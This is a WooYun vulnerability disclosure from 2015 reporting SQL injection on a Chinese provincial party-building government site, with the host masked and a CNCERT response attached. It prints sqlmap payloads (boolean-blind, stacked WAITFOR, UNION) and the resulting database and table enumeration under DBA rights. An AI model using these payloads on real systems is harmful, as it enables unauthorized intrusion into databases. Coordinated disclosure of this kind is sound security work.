当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156868

漏洞标题:某省党建网存在存在多个SQL注入点

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-01 02:14

修复时间:2016-01-18 13:30

公开时间:2016-01-18 13:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

RT

详细说明:

吉林机关党建存在存在多个SQL注入点
http://**.**.**.**/SsResult.aspx?wd=2015
http://**.**.**.**/NewsPage.aspx?fid=6450
注入点不止两个,数据库为sa权限,应该可以提权,危害还是比较严重的。

sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=6450 AND 4969=4969
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: fid=6450;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: fid=-5053 UNION ALL SELECT 91,91,91,91,91,91,91,91,CHAR(113)+CHAR(118)+CHAR(120)+CHAR(106)+CHAR(113)+CHAR(87)+CHAR(86)+CHAR(75)+CHAR(79)+CHAR(115)+CHAR(108)+CHAR(104)+CHAR(100)+CHAR(104)+CHAR(103)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+CHAR(113),91,91,91,91,91,91,91,91,91--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=6450 AND 6184=6184
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: fid=6450;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: fid=-8605 UNION ALL SELECT 96,96,96,96,96,96,96,96,CHAR(113)+CHAR(112)+CHAR(98)+CHAR(98)+CHAR(113)+CHAR(98)+CHAR(69)+CHAR(75)+CHAR(100)+CHAR(102)+CHAR(119)+CHAR(77)+CHAR(71)+CHAR(97)+CHAR(70)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(122)+CHAR(113),96,96,96,96,96,96,96,96,96--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=6450 AND 6184=6184
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: fid=6450;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: fid=-8605 UNION ALL SELECT 96,96,96,96,96,96,96,96,CHAR(113)+CHAR(112)+CHAR(98)+CHAR(98)+CHAR(113)+CHAR(98)+CHAR(69)+CHAR(75)+CHAR(100)+CHAR(102)+CHAR(119)+CHAR(77)+CHAR(71)+CHAR(97)+CHAR(70)+CHAR(113)+CHAR(120)+CHAR(113)+CHAR(122)+CHAR(113),96,96,96,96,96,96,96,96,96--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current database: 'dgw'
current user is DBA: True
available databases [15]:
[*] bcgxj
[*] dgw
[*] GhptSQL
[*] gwgh
[*] hds0670494_db
[*] lll
[*] master
[*] model
[*] msdb
[*] MySqlDb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Z_user
[*] zxqy


看看当前数据库的情况

Database: dgw
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| dbo.NewsView | 35679 |
| dbo.Newstext | 10435 |
| dbo.PtNewsView | 6314 |
| dbo.Magazinetext | 1828 |
| dbo.Table_Tj | 1483 |
| dbo.text1 | 1011 |
| dbo.DirTable | 191 |
| dbo.users | 157 |
| dbo.NewsType | 126 |
| dbo.Product_S | 116 |
| dbo.Product_S | 116 |
| dbo.Ptusers | 65 |
| dbo.MagazineType | 53 |
| dbo.Movietable | 42 |
| dbo.PlTable | 30 |
| dbo.MainModle | 23 |
| dbo.Organization_S | 20 |
| dbo.Organization_S | 20 |
| dbo.boss | 10 |
| dbo.TableQx | 1 |
+--------------------+---------+


由于是政府网站,点到为止吧。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-12-04 13:23

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给吉林分中心,由吉林分中心后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价